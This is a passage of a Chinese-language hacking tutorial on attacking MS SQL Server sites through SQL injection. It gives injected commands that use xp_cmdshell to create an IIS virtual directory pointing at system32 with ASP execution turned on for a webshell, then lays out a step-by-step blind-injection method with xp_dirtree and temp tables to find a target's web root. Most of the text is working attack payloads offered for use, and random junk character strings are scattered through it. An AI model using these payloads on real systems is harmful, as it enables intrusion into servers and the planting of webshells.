( H" |9 w# A( B' x2 v1 Q, @7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法: ( x" L8 I3 O. R7 w我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错: : D! ~+ ^7 c: E. d! K7 w
? 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 5 e6 F% |7 v0 J" o? 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:' 3 e. o3 [6 B3 p" K7 L" Z
? 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/': ]# h! e: O: P/ c$ Z' c
? 测试:http://127.0.0.1/win/test.asp, z4 G# y8 M! F4 {; ^: X
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句: . l- Q! D# J$ M2 F ~
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下: 0 {0 {' T- ?8 a7 C% V5 g;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';-- 7 H: Z/ I4 W# D9 E9 K& @
# d* m% H0 H" F7 u
在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下: ! B" F$ m0 X1 vand (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...) ' I/ @: Q* }6 q! o: N% w$ O& ~0 n# [' ]& P0 d5 s7 w: m: G6 h
接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下: 5 q ^. d- }9 b, m- nand (select count(*) from temp where dir<>'user')<(select count(*) from temp) # @2 R$ L6 }6 B3 R1 d3 E% [8 f- n
2 e$ h) e* w+ L
看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录: ) q$ E4 q$ P3 T$ m; D8 v: }and (select count(*) from temp where dir<>'photo')<(select count(*) from temp) # `) A& Z7 F. j" f$ h: I, L
. I/ Q4 X D( g; f; M9 @... . Y" U6 s9 k: K( p$ l2 l% O( H
6 {# D# y% z$ e6 \- G$ K如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。 9 m9 v8 A- Z+ i5 G/ M6 C% ]% q
( F7 L2 X. c7 H
下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度: : R, e& X1 q4 o+ |* w
and (select depth from temp where dir='user')>=数字(数字=1、2、3...) $ e: T% G. x" P- H) C( J, F & k0 V) Z' h4 L# ~假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。 . N1 O! `" N( w) O; {3 [/ r+ d( ?8 q) s, _! u l' x
目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。 / ^0 ?; `) g* `' {4 m
2 _9 H4 t: _4 G# m
接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下: 0 L: f+ c- }4 N$ O! `
2 u: a4 z, J1 k* V5 y1 O% };create table temp1(dir nvarchar(255),depth varchar(255));-- : |+ u" C! q; V' }8 ^* G# A7 E 2 I' E7 U. [1 H+ e, B) {然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下: ( Y# w$ M; [. U. [9 d* c
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname ! o8 v# J& k- V: W当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。 7 R; E- J9 R1 o4 n/ i 3 g6 ?( j& `/ O ~现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下: " T! B5 Y, E. u4 ~* t. S
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1) - Z8 d8 ~ }% T9 d如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。 * V2 e8 b# K+ Y- S3 W2 W; T! O
5 ]/ V8 r5 Y) O4 Q" r
现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。 ! L9 Z3 u4 r1 `( I" L( V
. D: m0 @; H0 L然后把从D盘的website下的所有目录存到temp2中,语句如下: " R" L2 d/ c6 \9 Z4 l* q7 Ndeclare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname 2 ~8 {' q1 @3 p' w8 w' G
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。 + \- Y9 p4 d. b4 N) {. C# `